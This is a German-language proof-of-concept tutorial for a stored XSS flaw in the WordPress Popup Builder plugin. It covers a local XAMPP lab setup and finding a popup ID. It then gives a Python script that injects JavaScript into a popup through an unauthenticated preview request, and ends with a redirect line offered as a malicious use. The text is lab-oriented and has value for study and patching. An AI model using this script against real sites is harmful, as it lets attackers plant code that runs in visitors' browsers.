
Diese Schwachstelle zeigt eine XSS-Schwachstelle in einem WordPress-Popup-Plugin, die es Angreifern ermöglicht, bösartiges JavaScript durch einen stored XSS einzuschleusen.
Diese Schwachstelle ermöglicht es einem Angreifer, eine Cross-Site-Scripting (XSS)-Schwachstelle im WordPress Popup Builder Plugin auszunutzen. Das Plugin verhindert nicht, dass normale Besucher vorhandene Popups ändern können, und durch das Senden einer speziell präparierten Anfrage an den Server kann der Angreifer bösartige Skripte in das Popup injizieren, die ausgeführt werden, wenn Benutzer mit dem Popup interagieren.
In diesem POC wird die Schwachstelle ausgelöst, indem das Öffnungsverhalten des Popups manipuliert wird. Dabei wird ein einfaches Alert-Skript injiziert, das ausgeführt wird, wenn das Popup geöffnet wird. Diese Art von Angriff kann zu einer Reihe von Problemen führen, darunter unbefugter Zugriff auf vertrauliche Informationen und weitere Ausnutzung der betroffenen Website, was möglicherweise Benutzerdaten oder die gesamte Website gefährdet.
Für diesen POC können wir einen Windows 10-Rechner verwenden und XAMPP herunterladen: https://www.apachefriends.org/download.html
Stellen Sie nach der Installation sicher, dass die Apache- und MySQL-Module aktiviert sind:

WordPress benötigt, wie die meisten Content-Management-Systeme, eine Datenbank, um alle wichtigen Daten zu speichern. Die von uns erstellte SQL-Datenbank dient als zentraler Speicher für all diese Informationen.
Die anfällige Version des Popup Builder Plugins kann von der Hauptseite heruntergeladen werden: https://wordpress.org/plugins/popup-builder/advanced/
Wählen Sie eine ältere Version vor dem Fix in 4.2.3:

Gehen Sie als nächstes zu Ihrer WordPress-Admin-Seite - http://localhost/wordpress/wp-login.php
Plugins -> Plugin hinzufügen -> Plugin hochladen -> Wählen Sie die heruntergeladene .ZIP-Datei aus und installieren Sie sie.
Erstellen Sie auf der WordPress-Admin-Seite eine einfache Startseite, indem Sie zu Seiten -> Neue Seite hinzufügen -> Ein Muster auswählen gehen.
Für das Popup gehen Sie zu Popup Builder -> Neu hinzufügen -> Typ auswählen und anpassen.
Für diesen POC habe ich ein Abonnement-Popup ausgewählt, da dies eines der am häufigsten vorkommenden Popups auf heutigen Websites ist.

Im Tab "Anzeigeregeln" können Sie das Popup Ihrer Startseite zuweisen:

Wenn wir nun unsere Startseite über http://localhost/wordpress/ aufrufen, sehen wir, dass unser Popup ausgelöst wird.
Um den Exploit auszuführen, müssen wir zuerst die Popup-ID identifizieren.
Dies kann erreicht werden, indem wir zur Website navigieren, das Popup auslösen und den Netzwerk-Tab in den Entwicklertools öffnen.
Suchen Sie nach der admin-ajax.php-Anfrage, einer Kernkomponente von WordPress zur Verarbeitung von AJAX-Anfragen.
Popup Builder nutzt diese, um Funktionen wie Speichern, Aktualisieren, Vorschau und Steuerung von Popups in WordPress zu verwalten.
Im Payload-Tab finden wir die Popup-ID:

Nachdem wir die Popup-ID gefunden haben, können wir das folgende Skript verwenden, um den Exploit auszulösen:
import requests
# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #use the Popup ID we found
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #custom JS code goes here
}
# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)
Da wir das Popup bearbeiten können, können wir auch den Auslösezeitpunkt unseres benutzerdefinierten JS steuern. Wenn wir zur WordPress-Admin-Seite gehen, finden wir in den Popup-Einstellungen die Option "Benutzerdefiniertes JS oder CSS". Diese steuert den Zeitpunkt der Ausführung des benutzerdefinierten Codes:

Wir können dies dann je nach gewünschter Verwendung in unser Skript einbauen.
Nach dem Auslösen des Skripts sehen wir in der WordPress-Admin-Seite, dass dem benutzerdefinierten JS-Bereich unseres Popups eine neue Zeile hinzugefügt wurde:

Wenn wir die Website nun als normaler Benutzer aufrufen, sehen wir die folgende Meldung:

Wir können auch sehen, dass unsere Nachricht in der SQL-Datenbank (standardmäßig in der Tabelle wp_postmeta) gespeichert wurde, was bestätigt, dass es sich um ein stored XSS handelt:

Diese stored-XSS-Schwachstelle im Popup Builder Plugin ermöglicht es dem Angreifer, bösartiges JavaScript einzubetten, das ausgeführt wird, sobald ein Benutzer mit dem infizierten Popup interagiert. Die folgenden Möglichkeiten bestehen, dies böswillig auszunutzen:
window.location.href = 'https://facebook.com')